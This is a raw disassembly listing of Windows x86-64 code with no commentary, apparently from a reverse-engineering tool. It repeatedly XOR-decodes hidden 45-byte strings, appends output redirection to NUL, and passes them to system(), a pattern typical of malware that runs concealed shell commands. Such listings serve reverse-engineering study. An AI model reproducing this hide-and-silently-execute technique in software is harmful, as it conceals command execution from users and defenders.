shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140045001
cmp r8d, 0x2d
jge 0x14004512f
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140045100
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x18f]
call fcn.140048e90
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14004537f
mov r8d, r13d
cmp r15d, 2
jl 0x140045342
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140045251
cmp r8d, 0x2d
jge 0x14004537f
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140045350
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x190]
call fcn.140048ed0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400455cf
mov r8d, r13d
cmp r15d, 2
jl 0x140045592
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400454a1
cmp r8d, 0x2d
jge 0x1400455cf
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400455a0
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x191]
call fcn.140048f10
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14004581f
mov r8d, r13d
cmp r15d, 2
jl 0x1400457e2
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400456f1
cmp r8d, 0x2d
jge 0x14004581f
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400457f0
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x192]
call fcn.140048f50
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140045a6f
mov r8d, r13d
cmp r15d, 2
jl 0x140045a32
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140045941
cmp r8d, 0x2d
jge 0x140045a6f
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140045a40
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x193]
call fcn.140048f90
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140045cbf
mov r8d, r13d
cmp r15d, 2
jl 0x140045c82
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140045b91
cmp r8d, 0x2d
jge 0x140045cbf
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140045c90
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x194]
call fcn.140048fd0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140045f0f
mov r8d, r13d
cmp r15d, 2
jl 0x140045ed2
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140045de1
cmp r8d, 0x2d
jge 0x140045f0f
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140045ee0
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x1a5]
call fcn.140049010
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14004615f
mov r8d, r13d
cmp r15d, 2
jl 0x140046122
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140046031
cmp r8d, 0x2d
jge 0x14004615f
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140046130
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x196]
call fcn.140049050
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400463af
mov r8d, r13d
cmp r15d, 2
jl 0x140046372
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140046281
cmp r8d, 0x2d
jge 0x1400463af
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140046380
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x197]
call fcn.140049090
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400465ff
mov r8d, r13d
cmp r15d, 2
jl 0x1400465c2
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
